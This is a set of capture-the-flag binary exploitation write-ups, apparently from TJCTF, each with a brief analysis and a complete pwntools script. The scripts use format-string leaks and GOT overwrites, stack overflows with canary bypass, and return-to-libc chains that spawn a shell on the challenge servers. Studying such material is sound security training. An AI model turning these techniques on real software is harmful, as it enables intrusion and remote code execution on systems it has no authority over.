Finches in a Pie

Description

There’s a service at , exploit it to get the flag.

Files

fiap

flag.txt (You need this in same directory as fiap for local exploit. fiap will read flag once you exploit it)

Enumeration

checksec

Running the code

Static Analysis

flag function

say_hi function

It takes two inputs from the user. First input is printed.

Since PIE is enabled, we would need to leak the stack for canary and leak the code section to override the changed canary with correct canary and override the ret with flag.

Exploit

First we will use the first BoF and string format vulnerability to leak the address of say_hi+13 and stack_canary. Here we have to use “%#$p” where # is the offset in the stack instead of using many “%p” to reveal the stack. Because offset we want to look into will be overwritten by %p. offset 3 is say_hi+13 address and offset 11 is canary address.

Then we would need to figure out where canary and ret reside when you are doing second BoF. Once you figure that out, we can make exploit that has PADDING + Canary Address + Padding2 + RET Address(Here we want to return to flag function).

from pwn import *

isLocal = True

if isLocal:
    p = process("./fiap")
else:
    p = remote("95.216.233.106",17954)

p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()

p.sendline("%3$p %11$p ")
first_recv = p.recvline().split(" ")

SAY_HI_13 = int(first_recv[2], 16)
CANARY = int(first_recv[3] , 16)
FLAG = SAY_HI_13 - 134

PADDING = 'A' * 25

#
# Padding
# Canary
# Padding 2
# FLAG

PADDING2 = 'B' * 12

buf = ''
buf += PADDING
buf += p32(CANARY)
buf += PADDING2
buf += p32(FLAG)

p.sendline(buf)
p.recvline()
print(p.recvline())

Finches in a Stack (Unintentional Way)

Description

This challenge wasn’t suppose to be solved like this when I was discussing it with the author. To check out the intentional way, check out Finches in PIE. It is similar to this one except, PIE is enabled.

Files

fias

flag.txt (You need this in same directory as fiap for local exploit. fiap will read flag once you exploit it)

Enumuration

When you run the program, it will ask you for two inputs. And it talks about canary. I am guessing that you have to leak the canary and over ride the ret with the first input. Then fix the overwritten canary with the leaked canary.

Static Analysis

There is handy function called flag that prints out the flag

In say_hi(), we can see that the first_input can be used for format string vuln.

Second input also uses gets() so we can use it for BoF.

Solution

Looking at this problem, you can just use format string exploit to write to puts.got since after printf(&first_input) it will run puts and since we don’t return, we can go to flag function.

#!/usr/bin/python2.7
from pwn import *

isLocal = True

if isLocal:
    p = process("./fias")
else:
    p = remote("95.216.233.106", 34995)

elf = ELF("./fias")

GOT_PUTS = elf.got['puts'] # 0x804c01c
FUNC_FLAG = elf.sym['flag'] # 0x080491d2
p.recvline()
p.recvline()
#Flag addr 0x080491d2 
p.sendline(p32(GOT_PUTS+2) + '@@@@' + p32(GOT_PUTS) + '%.8x' * 4 + '%.2008x%hn' + '%.35278x%hn')

p.recvline()

p.recvline()
p.recvline()
print(p.recvline())

Not Really AI

Description

Exploit the service to get the flag.

Files

nra

flag.txt

Enumeration

checksec shows that THERE ARE NO MITIGATION AT ALL.

When you run the program, it repeats what you typed.

Static Analysis

With Binary Ninja we can check out where it reads and prints our input.

We can see that printf doens’t have any strings before it gives input. This is vulnerable to string format vulnerability.

Also, there is handy function where it “cat flag.txt”

Solution

Since it is Partial RELRO and has No PIE, we can just override puts.got with flaggy address.

#/usr/bin/python2.7
from pwn import *

isLocal = True

if isLocal:
    p = process("./nra")
else:
    p = remote("95.216.233.106", 25480)

elf = ELF("./nra")

GOT_PUTS = elf.got['puts']
FUNC_FLAGGY = elf.sym['flaggy']

p.recvline()

print(hex(FUNC_FLAGGY)) #0x08049245

p.sendline(p32(GOT_PUTS + 2)  + "@@@@" + p32(GOT_PUTS) + "%.8x%.8x%.2024x%hn%.35393x%hn")

p.readline()
p.readline()
print(p.readline())

Seashells

Description

I heard there’s someone selling shells? They seem to be out of stock though…

nc p1.tjctf.org 8009

Files

seashells

Enumuration

checksec

run

Static Analysis

main function gets() BoF

shell function

Exploit

Since PIE is disabled and there is no stack canary, we can use ROP to shell function.

from pwn import *

pop_rdi = p64(0x0000000000400803)
junk = 'a' * 18
shell = p64(0x004006c7)
shell_ret = 'b' * 8
shell_input = p64(0xdeadcafebabebeef)
ret = p64(0x0000000000400803+1)

p = remote("p1.tjctf.org", 8009)

p.recvline()
p.sendline(junk + pop_rdi + shell_input + ret + shell + shell_ret)
p.interactive()

OSRS

Description

My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.

I don’t know what any of this means but this system sure looks old! It has like zero security features enabled…

Files

osrs

libc-2.27.so

Exploit

At first, you might think that this was simple BoF where you write shell on a stack and return to the shell. Since in description they say they have zero security features enabled. Well ASLR is enabled so it won’t work. We know that it wont work because if you give invalid tree, you get pointer and you can see that it changes every time.

Since PIE is disabled, we can just do ROP to libc. This technique is explained in this post so I won’t be writing about it. https://elnath.io/2020/05/30/stop/

from pwn import *

context.update(arch='i386', os='linux')

is_local = False
write_file = True
if is_local:
	p = process("./osrs")
	libc = ELF("/usr/lib32/libc-2.30.so")
else:
	p = remote("p1.tjctf.org", 8006)
	libc = ELF("./libc-2.27.so") #https://libc.blukat.me/?q=puts%3A0xf7e5e360
elf = ELF("./osrs")
rop = ROP(elf)

GOT_PUTS = elf.got["puts"]
PRINTF = elf.plt["puts"]
GET_TREE = elf.sym["get_tree"]
RET = rop.find_gadget(['ret'])[0]
JUNK = 'A' * 272
JUNK_ADDR = 'B' * 4


### First ROP ###
p.recvline()
p.sendline(JUNK + p32(PRINTF) + p32(GET_TREE) +p32(GOT_PUTS))
p.recvline()
LEAK_PUTS = p.recvline()
PUTS = u32(LEAK_PUTS[0:4])
print("LEAKED PUTS:" + hex(PUTS))

### Second ROP ###
offset_puts = libc.sym['puts']
offset_system = libc.sym['system']
offset_binsh = next(libc.search("/bin/sh"))

SYSTEM = PUTS - (offset_puts - offset_system)
BINSH = PUTS + (offset_binsh - offset_puts)
p.sendline(JUNK + p32(SYSTEM) + JUNK_ADDR + p32(BINSH))
p.recvline()
p.interactive()

Stop

Description

I love playing stop, but I am tired of losing. Check out my new stop answer generator! It’s a work in progress and only has a few categories, but it’s 100% bug-free!
 

Files

 

Explanation

If we use pwn checksec on stop, we can see that there are no stack canary and no PIE. Since PIE is turned off, we can use ROP!
image-4
 

In main(), there is buffer over flow in read function. read(0x0, *(rbp-0x110), 0x256) It can read up to 0x256 when buffer is from rbp – 0x110.

download

First ROP

First we can leak the address of __libc_start_main by jumping to printf(GOT__libc_start_main) and then returning back to main so that we can use the GOT__libc_start_main to calculate system from libc.
 
download
 

Second ROP

With system location calculated, we can jump to system(/bin/sh)
download
 

Exploiting Remote Server

When you try to use this exploit remotely, we have to remind ourselves that their stack alignment is different due to env variable and etc. Stack should be aligned by 16. We can add RET instruction to buffer over flow to make it aligned. Also, their libc will be different, so we can use https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0 to look for their libc version with the leak __libc_start_main.
 

Exploit

#!/usr/bin/python2.7
from pwn import *

### Settings ###
is_local = False



### Setup ###
if is_local:
    p = process("./stop")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")
else:
    p = remote("p1.tjctf.org", 8001)

    # You can find that remote is using libc by using the leaked
    # __libc_start_main address in this website. https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0
    libc = ELF("./libc-2.27.so")

elf = ELF("./stop")
rop = ROP(elf)



### First ROP ###

# JUNK contains all the main stack + RBP.
JUNK = 'A' * 282


PRINTF = elf.plt['printf']
GOT_LIBC_START_MAIN = elf.got['__libc_start_main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
MAIN = elf.sym['main']
RET = rop.find_gadget(['ret'])[0]

offset_libc_start_main = libc.sym['__libc_start_main']
offset_system = libc.sym['system']

# All these RET is not needed locally. But remotely you need them to make stack byte aligned by 16.
p.sendline(JUNK + p64(POP_RDI) + p64(GOT_LIBC_START_MAIN)  + p64(RET) + p64(PRINTF) + p64(RET) + p64(MAIN))
sleep(1) # Delay for send.

first_msg = p.recv()

# Had to mess around with received message. It should be something like 0x00007fXXXXXXXXXX.
LIBC_START_MAIN = u64(first_msg[-20:-14].ljust(8,'\x00'))
print("Leaked __libc_start_main: " + hex(LIBC_START_MAIN))



### Second ROP ###

SYSTEM = LIBC_START_MAIN + (offset_system - offset_libc_start_main)
BINSH = next(elf.search("/bin/sh"))

p.sendline(JUNK + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM))
sleep(1)

second_msg = p.recv()
p.interactive()